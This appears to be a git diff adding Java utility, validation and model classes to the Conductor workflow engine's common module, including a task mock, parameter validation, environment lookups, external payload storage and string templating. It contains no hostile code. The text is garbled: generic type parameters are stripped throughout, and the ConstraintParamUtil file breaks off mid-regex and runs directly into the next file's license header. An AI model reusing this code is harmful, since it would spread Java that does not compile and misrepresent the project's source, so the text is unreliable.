TaskMock(TaskResult.Status status, Map output) { + this.status = status; + this.output = output; + } + + public TaskResult.Status getStatus() { + return status; + } + + public void setStatus(TaskResult.Status status) { + this.status = status; + } + + public Map getOutput() { + return output; + } + + public void setOutput(Map output) { + this.output = output; + } + + public long getExecutionTime() { + return executionTime; + } + + public void setExecutionTime(long executionTime) { + this.executionTime = executionTime; + } + + public long getQueueWaitTime() { + return queueWaitTime; + } + + public void setQueueWaitTime(long queueWaitTime) { + this.queueWaitTime = queueWaitTime; + } + } + + public Map> getTaskRefToMockOutput() { + return taskRefToMockOutput; + } + + public void setTaskRefToMockOutput(Map> taskRefToMockOutput) { + this.taskRefToMockOutput = taskRefToMockOutput; + } + + public Map getSubWorkflowTestRequest() { + return subWorkflowTestRequest; + } + + public void setSubWorkflowTestRequest(Map subWorkflowTestRequest) { + this.subWorkflowTestRequest = subWorkflowTestRequest; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/utils/ConstraintParamUtil.java b/common/src/main/java/com/netflix/conductor/common/utils/ConstraintParamUtil.java new file mode 100644 index 0000000..f1a5bfe --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/utils/ConstraintParamUtil.java @@ -0,0 +1,152 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.EnvUtils.SystemParameters; + +import com.jayway.jsonpath.JsonPath; + +@SuppressWarnings("unchecked") +public class ConstraintParamUtil { + + /** + * Validates inputParam and returns a list of errors if input is not valid. + * + * @param input {@link Map} of inputParameters + * @param taskName TaskName of inputParameters + * @param workflow WorkflowDef + * @return {@link List} of error strings. + */ + public static List validateInputParam( + Map input, String taskName, WorkflowDef workflow) { + ArrayList errorList = new ArrayList<>(); + + for (Entry e : input.entrySet()) { + Object value = e.getValue(); + if (value instanceof String) { + errorList.addAll( + extractParamPathComponentsFromString( + e.getKey(), value.toString(), taskName, workflow)); + } else if (value instanceof Map) { + // recursive call + errorList.addAll( + validateInputParam((Map) value, taskName, workflow)); + } else if (value instanceof List) { + errorList.addAll( + extractListInputParam(e.getKey(), (List) value, taskName, workflow)); + } else { + e.setValue(value); + } + } + return errorList; + } + + private static List extractListInputParam( + String key, List values, String taskName, WorkflowDef workflow) { + ArrayList errorList = new ArrayList<>(); + for (Object listVal : values) { + if (listVal instanceof String) { + errorList.addAll( + extractParamPathComponentsFromString( + key, listVal.toString(), taskName, workflow)); + } else if (listVal instanceof Map) { + errorList.addAll( + validateInputParam((Map) listVal, taskName, workflow)); + } else if (listVal instanceof List) { + errorList.addAll(extractListInputParam(key, (List) listVal, taskName, workflow)); + } + } + return errorList; + } + + private static List extractParamPathComponentsFromString( + String key, String value, String taskName, WorkflowDef workflow) { + ArrayList errorList = new ArrayList<>(); + + if (value == null) { + String message = String.format("key: %s input parameter value: is null", key); + errorList.add(message); + return errorList; + } + + String[] values = value.split("(?=(? + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import java.util.Optional; + +public class EnvUtils { + + public enum SystemParameters { + CPEWF_TASK_ID, + NETFLIX_ENV, + NETFLIX_STACK + } + + public static boolean isEnvironmentVariable(String test) { + for (SystemParameters c : SystemParameters.values()) { + if (c.name().equals(test)) { + return true; + } + } + String value = + Optional.ofNullable(System.getProperty(test)).orElseGet(() -> System.getenv(test)); + return value != null; + } + + public static String getSystemParametersValue(String sysParam, String taskId) { + if ("CPEWF_TASK_ID".equals(sysParam)) { + return taskId; + } + + String value = System.getenv(sysParam); + if (value == null) { + value = System.getProperty(sysParam); + } + return value; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/utils/ExternalPayloadStorage.java b/common/src/main/java/com/netflix/conductor/common/utils/ExternalPayloadStorage.java new file mode 100644 index 0000000..f246b84 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/utils/ExternalPayloadStorage.java @@ -0,0 +1,82 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import java.io.InputStream; + +import com.netflix.conductor.common.run.ExternalStorageLocation; + +/** + * Interface used to externalize the storage of large JSON payloads in workflow and task + * input/output + */ +public interface ExternalPayloadStorage { + + enum Operation { + READ, + WRITE + } + + enum PayloadType { + WORKFLOW_INPUT, + WORKFLOW_OUTPUT, + TASK_INPUT, + TASK_OUTPUT + } + + /** + * Obtain a uri used to store/access a json payload in external storage. + * + * @param operation the type of {@link Operation} to be performed with the uri + * @param payloadType the {@link PayloadType} that is being accessed at the uri + * @param path (optional) the relative path for which the external storage location object is to + * be populated. If path is not specified, it will be computed and populated. + * @return a {@link ExternalStorageLocation} object which contains the uri and the path for the + * json payload + */ + ExternalStorageLocation getLocation(Operation operation, PayloadType payloadType, String path); + + /** + * Obtain an uri used to store/access a json payload in external storage with deduplication of + * data based on payloadBytes digest. + * + * @param operation the type of {@link Operation} to be performed with the uri + * @param payloadType the {@link PayloadType} that is being accessed at the uri + * @param path (optional) the relative path for which the external storage location object is to + * be populated. If path is not specified, it will be computed and populated. + * @param payloadBytes for calculating digest which is used for objectKey + * @return a {@link ExternalStorageLocation} object which contains the uri and the path for the + * json payload + */ + default ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path, byte[] payloadBytes) { + return getLocation(operation, payloadType, path); + } + + /** + * Upload a json payload to the specified external storage location. + * + * @param path the location to which the object is to be uploaded + * @param payload an {@link InputStream} containing the json payload which is to be uploaded + * @param payloadSize the size of the json payload in bytes + */ + void upload(String path, InputStream payload, long payloadSize); + + /** + * Download the json payload from the specified external storage location. + * + * @param path the location from where the object is to be downloaded + * @return an {@link InputStream} of the json payload at the specified location + */ + InputStream download(String path); +} diff --git a/common/src/main/java/com/netflix/conductor/common/utils/SummaryUtil.java b/common/src/main/java/com/netflix/conductor/common/utils/SummaryUtil.java new file mode 100644 index 0000000..85c0e20 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/utils/SummaryUtil.java @@ -0,0 +1,66 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.annotation.PostConstruct; + +@Component +public class SummaryUtil { + + private static final Logger logger = LoggerFactory.getLogger(SummaryUtil.class); + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private static boolean isSummaryInputOutputJsonSerializationEnabled; + + @Value("${conductor.app.summary-input-output-json-serialization.enabled:false}") + private boolean isJsonSerializationEnabled; + + @PostConstruct + public void init() { + isSummaryInputOutputJsonSerializationEnabled = isJsonSerializationEnabled; + } + + /** + * Serializes the Workflow or Task's Input/Output object by Java's toString (default), or by a + * Json ObjectMapper (@see Configuration.isSummaryInputOutputJsonSerializationEnabled) + * + * @param object the Input or Output Object to serialize + * @return the serialized string of the Input or Output object + */ + public static String serializeInputOutput(Map object) { + if (!isSummaryInputOutputJsonSerializationEnabled) { + return object.toString(); + } + + try { + return objectMapper.writeValueAsString(object); + } catch (JsonProcessingException e) { + logger.error( + "The provided value ({}) could not be serialized as Json", + object.toString(), + e); + throw new RuntimeException(e); + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/utils/TaskUtils.java b/common/src/main/java/com/netflix/conductor/common/utils/TaskUtils.java new file mode 100644 index 0000000..7bb6ab7 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/utils/TaskUtils.java @@ -0,0 +1,48 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class TaskUtils { + + private static final ObjectMapper objectMapper; + + static { + ObjectMapperProvider provider = new ObjectMapperProvider(); + objectMapper = provider.getObjectMapper(); + } + + private static final String LOOP_TASK_DELIMITER = "__"; + + public static String appendIteration(String name, int iteration) { + return name + LOOP_TASK_DELIMITER + iteration; + } + + public static String getLoopOverTaskRefNameSuffix(int iteration) { + return LOOP_TASK_DELIMITER + iteration; + } + + public static String removeIterationFromTaskRefName(String referenceTaskName) { + String[] tokens = referenceTaskName.split(TaskUtils.LOOP_TASK_DELIMITER); + return tokens.length > 0 ? tokens[0] : referenceTaskName; + } + + public static WorkflowDef convertToWorkflowDef(Object workflowDef) { + return objectMapper.convertValue(workflowDef, new TypeReference() {}); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/validation/ErrorResponse.java b/common/src/main/java/com/netflix/conductor/common/validation/ErrorResponse.java new file mode 100644 index 0000000..a43a911 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/validation/ErrorResponse.java @@ -0,0 +1,84 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.validation; + +import java.util.List; +import java.util.Map; + +public class ErrorResponse { + + private int status; + private String code; + private String message; + private String instance; + private boolean retryable; + private List validationErrors; + + private Map metadata; + + public Map getMetadata() { + return metadata; + } + + public void setMetadata(Map metadata) { + this.metadata = metadata; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public List getValidationErrors() { + return validationErrors; + } + + public void setValidationErrors(List validationErrors) { + this.validationErrors = validationErrors; + } + + public boolean isRetryable() { + return retryable; + } + + public void setRetryable(boolean retryable) { + this.retryable = retryable; + } + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } + + public String getInstance() { + return instance; + } + + public void setInstance(String instance) { + this.instance = instance; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/validation/ValidationError.java b/common/src/main/java/com/netflix/conductor/common/validation/ValidationError.java new file mode 100644 index 0000000..82d63f5 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/validation/ValidationError.java @@ -0,0 +1,64 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.validation; + +import java.util.StringJoiner; + +/** Captures a validation error that can be returned in {@link ErrorResponse}. */ +public class ValidationError { + + private String path; + private String message; + private String invalidValue; + + public ValidationError() {} + + public ValidationError(String path, String message, String invalidValue) { + this.path = path; + this.message = message; + this.invalidValue = invalidValue; + } + + public String getPath() { + return path; + } + + public String getMessage() { + return message; + } + + public String getInvalidValue() { + return invalidValue; + } + + public void setPath(String path) { + this.path = path; + } + + public void setMessage(String message) { + this.message = message; + } + + public void setInvalidValue(String invalidValue) { + this.invalidValue = invalidValue; + } + + @Override + public String toString() { + return new StringJoiner(", ", ValidationError.class.getSimpleName() + "[", "]") + .add("path='" + path + "'") + .add("message='" + message + "'") + .add("invalidValue='" + invalidValue + "'") + .toString(); + } +} diff --git a/common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/NonRetryableException.java b/common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/NonRetryableException.java new file mode 100644 index 0000000..799aec8 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/NonRetryableException.java @@ -0,0 +1,32 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sdk.workflow.executor.task; + +/** + * Exception thrown when a worker method execution should not be retried. This maps to + * FAILED_WITH_TERMINAL_ERROR status. + */ +public class NonRetryableException extends RuntimeException { + + public NonRetryableException(String message) { + super(message); + } + + public NonRetryableException(String message, Throwable cause) { + super(message, cause); + } + + public NonRetryableException(Throwable cause) { + super(cause); + } +} diff --git a/common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/TaskContext.java b/common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/TaskContext.java new file mode 100644 index 0000000..ff4fd35 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/TaskContext.java @@ -0,0 +1,86 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sdk.workflow.executor.task; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; + +/** + * Context that holds the current Task being executed. This allows annotated methods to access the + * Task object and its properties. + */ +public class TaskContext { + + public static final ThreadLocal TASK_CONTEXT_INHERITABLE_THREAD_LOCAL = + InheritableThreadLocal.withInitial(() -> null); + + public TaskContext(Task task, TaskResult taskResult) { + this.task = task; + this.taskResult = taskResult; + } + + public static TaskContext get() { + return TASK_CONTEXT_INHERITABLE_THREAD_LOCAL.get(); + } + + public static TaskContext set(Task task) { + TaskResult result = new TaskResult(task); + TaskContext context = new TaskContext(task, result); + TASK_CONTEXT_INHERITABLE_THREAD_LOCAL.set(context); + return context; + } + + private final Task task; + + private final TaskResult taskResult; + + public String getWorkflowInstanceId() { + return task.getWorkflowInstanceId(); + } + + public String getTaskId() { + return task.getTaskId(); + } + + public int getRetryCount() { + return task.getRetryCount(); + } + + public int getPollCount() { + return task.getPollCount(); + } + + public long getCallbackAfterSeconds() { + return task.getCallbackAfterSeconds(); + } + + public void addLog(String log) { + this.taskResult.log(log); + } + + public Task getTask() { + return task; + } + + public TaskResult getTaskResult() { + return taskResult; + } + + public void setCallbackAfter(int seconds) { + this.taskResult.setCallbackAfterSeconds(seconds); + } + + public static void clear() { + TASK_CONTEXT_INHERITABLE_THREAD_LOCAL.remove(); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/ai/TokenUsageLog.java b/common/src/main/java/org/conductoross/conductor/ai/TokenUsageLog.java new file mode 100644 index 0000000..1ad5648 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/ai/TokenUsageLog.java @@ -0,0 +1,34 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.With; + +@Data +@NoArgsConstructor +@AllArgsConstructor +@Builder +@With +public class TokenUsageLog { + private String integrationName; + private String api; + private long periodStart; + private int promptTokens; + private int completionTokens; + private int totalTokens; + private String taskId; +} diff --git a/common/src/main/java/org/conductoross/conductor/common/Documented.java b/common/src/main/java/org/conductoross/conductor/common/Documented.java new file mode 100644 index 0000000..0c54ceb --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/common/Documented.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.common; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +@Retention(RetentionPolicy.RUNTIME) +public @interface Documented { + + enum LifeCycle { + BETA, + DEPRECATED, + GA + } + + String usage() default ""; + + boolean required() default false; + + LifeCycle lifecycle() default LifeCycle.GA; +} diff --git a/common/src/main/java/org/conductoross/conductor/common/JsonSchemaValidator.java b/common/src/main/java/org/conductoross/conductor/common/JsonSchemaValidator.java new file mode 100644 index 0000000..87ef4a2 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/common/JsonSchemaValidator.java @@ -0,0 +1,54 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.common; + +import java.util.Map; +import java.util.Set; + +import org.springframework.stereotype.Component; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.networknt.schema.JsonSchema; +import com.networknt.schema.JsonSchemaFactory; +import com.networknt.schema.SpecVersionDetector; +import com.networknt.schema.ValidationMessage; +import lombok.RequiredArgsConstructor; +import lombok.SneakyThrows; + +@Component +@RequiredArgsConstructor +public class JsonSchemaValidator { + + private final ObjectMapper mapper; + + @SneakyThrows + public JsonSchema getJsonSchema(String schemaContent) { + JsonNode jsonNode = mapper.readTree(schemaContent); + JsonSchemaFactory factory = + JsonSchemaFactory.getInstance(SpecVersionDetector.detect(jsonNode)); + return factory.getSchema(jsonNode); + } + + public Set validate(String schemaContent, Map body) { + JsonSchema schema = getJsonSchema(schemaContent); + schema.initializeValidators(); + JsonNode node = getJsonNode(body); + return schema.validate(node); + } + + @SneakyThrows + private JsonNode getJsonNode(Map body) { + return mapper.valueToTree(body); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/common/utils/StringTemplate.java b/common/src/main/java/org/conductoross/conductor/common/utils/StringTemplate.java new file mode 100644 index 0000000..d568026 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/common/utils/StringTemplate.java @@ -0,0 +1,124 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.common.utils; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; + +public class StringTemplate { + + private static final Pattern pattern = Pattern.compile("\\$\\{(.*?)\\}"); + + private static final Pattern patternWithQuotes = Pattern.compile("\"\\$\\{(.*?)\\}\""); + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + @SuppressWarnings("unchecked") + public static Map fString(Map input, Map data) { + Map result = new HashMap<>(); + for (Map.Entry e : input.entrySet()) { + String key = e.getKey(); + Object value = e.getValue(); + if (value instanceof String) { + value = fString(value.toString(), data); + } else if (value instanceof List) { + List list = (List) value; + List replacedList = new ArrayList<>(); + for (Object o : list) { + String replacedValue = fString(o.toString(), data); + replacedList.add(replacedValue); + } + value = replacedList; + } else if (value instanceof Map) { + Map map = (Map) value; + value = fString(map, data); + } + result.put(key, value); + } + return result; + } + + public static String fString2(String s, Map data) { + Matcher matcher = pattern.matcher(s); + + while (matcher.find()) { + Object value = data.get(matcher.group(1)); + if (value != null) { + s = s.replace(matcher.group(0), value.toString()); + } + } + + return s; + } + + public static String fString(String s, Map data) { + Matcher matcher = pattern.matcher(s); + + while (matcher.find()) { + Object value = data.get(matcher.group(1)); + if (value == null) { + continue; + } + String valueString = null; + if (value instanceof String || value instanceof Number) { + valueString = value.toString(); + } else { + try { + valueString = objectMapper.writeValueAsString(value); + } catch (Exception ignored) { + valueString = value.toString(); + } + } + s = s.replace(matcher.group(0), valueString); + } + + return s; + } + + public static String removeQuotes(String s) { + Matcher matcher = patternWithQuotes.matcher(s); + + while (matcher.find()) { + String value = matcher.group(0); + String replaced = value.substring(1, value.length() - 1); + s = s.replace(matcher.group(0), replaced); + } + + return s; + } + + public static Set fStringParams(String s) { + Matcher matcher = pattern.matcher(s); + Set variables = new HashSet<>(); + while (matcher.find()) { + String group = matcher.group(1); + if (!StringUtils.isBlank(group)) { + variables.add(group); + } + } + + return variables; + } +} diff --git a/common/src/main/java/org/conductoross/conductor/common/utils/TextUtils.java b/common/src/main/java/org/conductoross/conductor/common/utils/TextUtils.java new file mode 100644 index 0000000..bb2a523 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/common/utils/TextUtils.java @@ -0,0 +1,23 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.common.utils; + +public class TextUtils { + + public static String sanitizeForPostgres(String text) { + if (text != null) { + return text.replaceAll("\u0000|\\\\+u0000", ""); + } + return null; + } +} diff --git a/common/src/main/java/org/conductoross/conductor/core/execution/tasks/AnnotatedSystemTaskWorker.java b/common/src/main/java/org/conductoross/conductor/core/execution/tasks/AnnotatedSystemTaskWorker.java new file mode 100644 index 0000000..1b9a3fb --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/core/execution/tasks/AnnotatedSystemTaskWorker.java @@ -0,0 +1,15 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks; + +public interface AnnotatedSystemTaskWorker {} diff --git a/common/src/main/java/org/conductoross/conductor/model/SignalResponse.java b/common/src/main/java/org/conductoross/conductor/model/SignalResponse.java new file mode 100644 index 0000000..358e219 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/SignalResponse.java @@ -0,0 +1,31 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model; + +import java.util.Map; + +import lombok.Data; + +@Data +public abstract class SignalResponse { + + private WorkflowSignalReturnStrategy responseType; + private String targetWorkflowId; + private String targetWorkflowStatus; + + private String requestId; + private String workflowId; + private String correlationId; + private Map input; + private Map output; +} diff --git a/common/src/main/java/org/conductoross/conductor/model/TaskRun.java b/common/src/main/java/org/conductoross/conductor/model/TaskRun.java new file mode 100644 index 0000000..458ab16 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/TaskRun.java @@ -0,0 +1,40 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model; + +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.metadata.tasks.Task; + +import lombok.Data; + +@Data +public class TaskRun extends SignalResponse { + + private String taskType; + private String taskId; + private String referenceTaskName; + private int retryCount; + private String taskDefName; + private String retriedTaskId; + private String workflowType; + private String reasonForIncompletion; + private int priority; + private Map variables; + private List tasks; + private String createdBy; + private long createTime; + private long updateTime; + private Task.Status status; +} diff --git a/common/src/main/java/org/conductoross/conductor/model/WorkflowRun.java b/common/src/main/java/org/conductoross/conductor/model/WorkflowRun.java new file mode 100644 index 0000000..32f394c --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/WorkflowRun.java @@ -0,0 +1,33 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model; + +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.run.Workflow; + +import lombok.Data; + +@Data +public class WorkflowRun extends SignalResponse { + + private int priority; + private Map variables; + private List tasks; + private String createdBy; + private long createTime; + private Workflow.WorkflowStatus status; + private long updateTime; +} diff --git a/common/src/main/java/org/conductoross/conductor/model/WorkflowSignalReturnStrategy.java b/common/src/main/java/org/conductoross/conductor/model/WorkflowSignalReturnStrategy.java new file mode 100644 index 0000000..d24ba60 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/WorkflowSignalReturnStrategy.java @@ -0,0 +1,49 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

